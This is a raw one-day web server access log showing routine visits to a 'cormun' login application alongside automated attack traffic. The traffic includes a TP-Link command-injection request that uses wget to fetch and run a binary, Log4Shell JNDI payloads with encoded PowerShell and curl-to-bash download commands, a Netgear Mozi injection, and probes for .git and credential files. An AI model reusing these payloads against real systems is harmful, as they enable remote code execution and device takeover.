185.191.127.212 - - [09/Jun/2024:00:25:43 -0300] "GET / HTTP/1.1" 200 11217 194.165.16.73 - - [09/Jun/2024:00:29:50 -0300] "/*àCookie: mstshash=Administr " 400 - 185.191.127.212 - - [09/Jun/2024:01:01:04 -0300] "GET / HTTP/1.1" 200 11217 35.87.0.78 - - [09/Jun/2024:01:47:18 -0300] "GET / HTTP/1.1" 200 11217 208.73.206.91 - - [09/Jun/2024:01:57:45 -0300] "HEAD / HTTP/1.0" 200 - 185.180.140.6 - - [09/Jun/2024:02:18:58 -0300] "GET / HTTP/1.1" 200 11217 185.191.127.212 - - [09/Jun/2024:02:22:18 -0300] "GET / HTTP/1.1" 200 11217 176.97.210.227 - - [09/Jun/2024:02:52:20 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F176.97.210.226%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 1013 185.191.127.212 - - [09/Jun/2024:03:04:42 -0300] "GET / HTTP/1.1" 200 11217 78.108.177.54 - - [09/Jun/2024:03:20:49 -0300] "GET / HTTP/1.0" 200 11197 94.156.71.223 - - [09/Jun/2024:04:17:07 -0300] "CONNECT 45.61.136.175:7227 HTTP/1.1" 400 - 205.210.31.195 - - [09/Jun/2024:04:20:04 -0300] "GET / HTTP/1.1" 200 11217 115.231.78.12 - - [09/Jun/2024:04:24:49 -0300] "GET / HTTP/1.1" 200 11217 115.231.78.12 - - [09/Jun/2024:04:26:06 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 115.231.78.12 - - [09/Jun/2024:04:26:08 -0300] "GET /robots.txt HTTP/1.1" 404 981 185.191.127.212 - - [09/Jun/2024:04:30:43 -0300] "GET / HTTP/1.1" 200 11217 185.191.127.212 - - [09/Jun/2024:04:55:55 -0300] "GET / HTTP/1.1" 200 11217 104.218.54.174 - - [09/Jun/2024:05:11:08 -0300] "HEAD / HTTP/1.1" 200 - 104.218.54.174 - - [09/Jun/2024:05:11:08 -0300] "GET / HTTP/1.1" 200 11217 87.236.176.225 - - [09/Jun/2024:05:22:22 -0300] "GET / HTTP/1.1" 200 11217 87.236.176.52 - - [09/Jun/2024:05:22:23 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 152.42.246.65 - - [09/Jun/2024:05:26:53 -0300] "-" 400 - 152.42.246.65 - - [09/Jun/2024:05:26:54 -0300] "GET / HTTP/1.1" 200 11217 152.42.246.65 - - [09/Jun/2024:05:26:55 -0300] "GET /download/powershell/ HTTP/1.1" 404 1001 207.192.240.242 - - [09/Jun/2024:05:42:42 -0300] "HEAD / HTTP/1.1" 200 - 207.192.240.242 - - [09/Jun/2024:05:42:42 -0300] "GET / HTTP/1.1" 200 11217 185.191.127.212 - - [09/Jun/2024:05:54:22 -0300] "GET / HTTP/1.1" 200 11217 185.191.127.212 - - [09/Jun/2024:06:40:45 -0300] "GET / HTTP/1.1" 200 11217 106.75.165.113 - - [09/Jun/2024:06:49:02 -0300] "GET /.git/config HTTP/1.1" 404 983 176.97.210.227 - - [09/Jun/2024:07:27:46 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F176.97.210.226%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 1013 185.191.127.212 - - [09/Jun/2024:07:48:31 -0300] "GET / HTTP/1.1" 200 11217 35.203.211.120 - - [09/Jun/2024:07:57:05 -0300] "GET / HTTP/1.1" 200 11217 160.153.245.83 - - [09/Jun/2024:08:49:02 -0300] "POST /?username=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D&id=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D&password=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D HTTP/1.1" 200 11217 160.153.245.83 - - [09/Jun/2024:08:49:09 -0300] "POST /?username=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D&id=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D&password=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D HTTP/1.1" 200 11217 185.191.127.212 - - [09/Jun/2024:09:13:25 -0300] "GET / HTTP/1.1" 200 11217 185.191.127.212 - - [09/Jun/2024:10:04:19 -0300] "GET / HTTP/1.1" 200 11217 106.75.173.108 - - [09/Jun/2024:10:27:05 -0300] "GET /.vscode/sftp.json HTTP/1.1" 404 995 45.235.38.142 - - [09/Jun/2024:10:34:46 -0300] "-" 400 - 45.235.38.142 - - [09/Jun/2024:10:34:46 -0300] "BždüѬwˆI‹MH×F@,yÑi\¥¾}:á`ÖÜjÆ© 0¨¡x—²žãåBëíÈI , " 400 - 45.235.38.142 - - [09/Jun/2024:10:34:46 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1716 45.235.38.142 - - [09/Jun/2024:10:34:46 -0300] "GET /cormun/static/gxtimezone.js?85251 HTTP/1.1" 200 5781 45.235.38.142 - - [09/Jun/2024:10:34:46 -0300] "GET /cormun/static/gxcfg.js?2022112219184450 HTTP/1.1" 200 953 45.235.38.142 - - [09/Jun/2024:10:34:46 -0300] "GET /cormun/static/Resources/CormunLogin.png HTTP/1.1" 200 19132 45.235.38.142 - - [09/Jun/2024:10:34:46 -0300] "GET /cormun/static/messages.spa.js?85251 HTTP/1.1" 200 30736 45.235.38.142 - - [09/Jun/2024:10:34:46 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?1759030 HTTP/1.1" 200 100853 45.235.38.142 - - [09/Jun/2024:10:34:47 -0300] "GET /cormun/static/hlogin.js?2022112219184458 HTTP/1.1" 200 2156 45.235.38.142 - - [09/Jun/2024:10:34:47 -0300] "GET /cormun/static/gxgral.js?85251 HTTP/1.1" 200 384558 45.235.38.142 - - [09/Jun/2024:10:34:47 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 45.235.38.142 - - [09/Jun/2024:10:34:47 -0300] "GET /cormun/static/Resources/PXToolsLoginBackground.png HTTP/1.1" 200 1164 45.235.38.142 - - [09/Jun/2024:10:34:47 -0300] "GET /cormun/static/Resources/PXToolsButtonLeft.png HTTP/1.1" 200 1310 45.235.38.142 - - [09/Jun/2024:10:34:47 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 45.235.38.142 - - [09/Jun/2024:10:34:47 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 45.235.38.142 - - [09/Jun/2024:10:34:47 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 45.235.38.142 - - [09/Jun/2024:10:34:47 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 45.235.38.142 - - [09/Jun/2024:10:34:47 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1725 45.235.38.142 - - [09/Jun/2024:10:34:47 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 185.191.127.212 - - [09/Jun/2024:11:14:07 -0300] "GET / HTTP/1.1" 200 11217 185.191.127.212 - - [09/Jun/2024:12:06:20 -0300] "GET / HTTP/1.1" 200 11217 120.86.238.199 - - [09/Jun/2024:12:57:06 -0300] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0" 404 979 185.191.127.212 - - [09/Jun/2024:12:58:38 -0300] "GET / HTTP/1.1" 200 11217 94.156.71.232 - - [09/Jun/2024:13:00:57 -0300] "CONNECT 45.61.137.126:7227 HTTP/1.1" 400 - 176.97.210.227 - - [09/Jun/2024:13:37:20 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F176.97.210.226%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 1013 185.191.127.212 - - [09/Jun/2024:13:38:45 -0300] "GET / HTTP/1.1" 200 11217 13.64.192.68 - - [09/Jun/2024:14:41:57 -0300] "GET /actuator/health HTTP/1.1" 404 991 138.255.149.12 - - [09/Jun/2024:14:47:23 -0300] "GET / HTTP/1.1" 200 11217 185.191.127.212 - - [09/Jun/2024:15:00:34 -0300] "GET / HTTP/1.1" 200 11217 185.191.127.212 - - [09/Jun/2024:15:21:49 -0300] "GET / HTTP/1.1" 200 11217 201.219.234.235 - - [09/Jun/2024:15:22:17 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1726 201.219.234.235 - - [09/Jun/2024:15:22:17 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1736 165.22.248.11 - - [09/Jun/2024:16:41:20 -0300] "GET / HTTP/1.1" 200 11217 165.22.248.11 - - [09/Jun/2024:16:41:21 -0300] "GET /download/powershell/ HTTP/1.1" 404 1001 198.235.24.126 - - [09/Jun/2024:16:41:36 -0300] "GET / HTTP/1.1" 200 11217 185.191.127.212 - - [09/Jun/2024:16:51:16 -0300] "GET / HTTP/1.1" 200 11217 81.215.87.209 - - [09/Jun/2024:17:02:46 -0300] "GET / HTTP/1.0" 200 11197 185.191.127.212 - - [09/Jun/2024:17:27:25 -0300] "GET / HTTP/1.1" 200 11217 185.180.143.145 - - [09/Jun/2024:17:57:08 -0300] "GET / HTTP/1.1" 200 11217 185.191.127.212 - - [09/Jun/2024:18:32:02 -0300] "GET / HTTP/1.1" 200 11217 94.156.64.113 - - [09/Jun/2024:18:50:42 -0300] "CONNECT 193.149.189.126:7227 HTTP/1.1" 400 - 146.190.134.17 - - [09/Jun/2024:19:36:07 -0300] "-" 400 - 146.190.134.17 - - [09/Jun/2024:19:36:18 -0300] "GET / HTTP/1.1" 200 11217 146.190.134.17 - - [09/Jun/2024:19:36:18 -0300] "GET /download/powershell/ HTTP/1.1" 404 1001 172.105.128.11 - - [09/Jun/2024:19:41:51 -0300] "GET / HTTP/1.1" 200 11217 185.191.127.212 - - [09/Jun/2024:19:43:50 -0300] "GET / HTTP/1.1" 200 11217 185.191.127.212 - - [09/Jun/2024:20:58:40 -0300] "GET / HTTP/1.1" 200 11217 190.171.143.106 - - [09/Jun/2024:21:09:41 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1735 190.171.143.106 - - [09/Jun/2024:21:09:41 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1730 78.108.177.52 - - [09/Jun/2024:21:24:38 -0300] "GET / HTTP/1.0" 200 11197 185.191.127.212 - - [09/Jun/2024:21:31:33 -0300] "GET / HTTP/1.1" 200 11217 185.191.127.212 - - [09/Jun/2024:22:18:08 -0300] "GET / HTTP/1.1" 200 11217 179.43.167.219 - - [09/Jun/2024:22:23:37 -0300] "-" 400 - 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1712 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /cormun/static/gxtimezone.js?85251 HTTP/1.1" 200 5781 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /cormun/static/gxcfg.js?2022112219184450 HTTP/1.1" 200 953 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /cormun/static/hlogin.js?2022112219184458 HTTP/1.1" 200 2156 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /cormun/static/messages.spa.js?85251 HTTP/1.1" 200 30736 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?1759030 HTTP/1.1" 200 100853 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /cormun/static/gxgral.js?85251 HTTP/1.1" 200 384558 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /cormun/static/Resources/CormunLogin.png HTTP/1.1" 200 19132 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /cormun/static/Resources/PXToolsLoginBackground.png HTTP/1.1" 200 1164 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /cormun/static/Resources/PXToolsButtonLeft.png HTTP/1.1" 200 1310 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1723 10.40.40.2 - - [09/Jun/2024:22:32:25 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 10.40.40.2 - - [09/Jun/2024:22:32:36 -0300] "POST /cormun/servlet/hlogin?50397ce29e8623ef8ec136e97a9c7d2a,gx-no-cache=1717982981805 HTTP/1.1" 200 441 10.40.40.2 - - [09/Jun/2024:22:32:39 -0300] "POST /cormun/servlet/hlogin?50397ce29e8623ef8ec136e97a9c7d2a,gx-no-cache=1717982985252 HTTP/1.1" 200 440 10.40.40.2 - - [09/Jun/2024:22:32:41 -0300] "POST /cormun/servlet/hlogin?50397ce29e8623ef8ec136e97a9c7d2a,gx-no-cache=1717982986540 HTTP/1.1" 200 440 94.156.71.224 - - [09/Jun/2024:22:37:47 -0300] "CONNECT 185.65.245.140:7227 HTTP/1.1" 400 - 94.156.66.82 - - [09/Jun/2024:22:42:41 -0300] "CONNECT 45.61.137.126:7227 HTTP/1.1" 400 - 185.191.127.212 - - [09/Jun/2024:23:24:16 -0300] "GET / HTTP/1.1" 200 11217 190.163.58.82 - - [09/Jun/2024:23:38:41 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1713 190.163.58.82 - - [09/Jun/2024:23:38:41 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1723 190.163.58.82 - - [09/Jun/2024:23:38:59 -0300] "POST /cormun/servlet/hlogin?e8327800339d3ef197e72123fa73d956,gx-no-cache=1717987011089 HTTP/1.1" 200 90 190.163.58.82 - - [09/Jun/2024:23:38:59 -0300] "GET /cormun/servlet/hpexe_link HTTP/1.1" 200 943 190.163.58.82 - - [09/Jun/2024:23:38:59 -0300] "GET /cormun/servlet/hhome HTTP/1.1" 200 4189 190.163.58.82 - - [09/Jun/2024:23:39:03 -0300] "GET /cormun/servlet/trlicencias? HTTP/1.1" 200 15220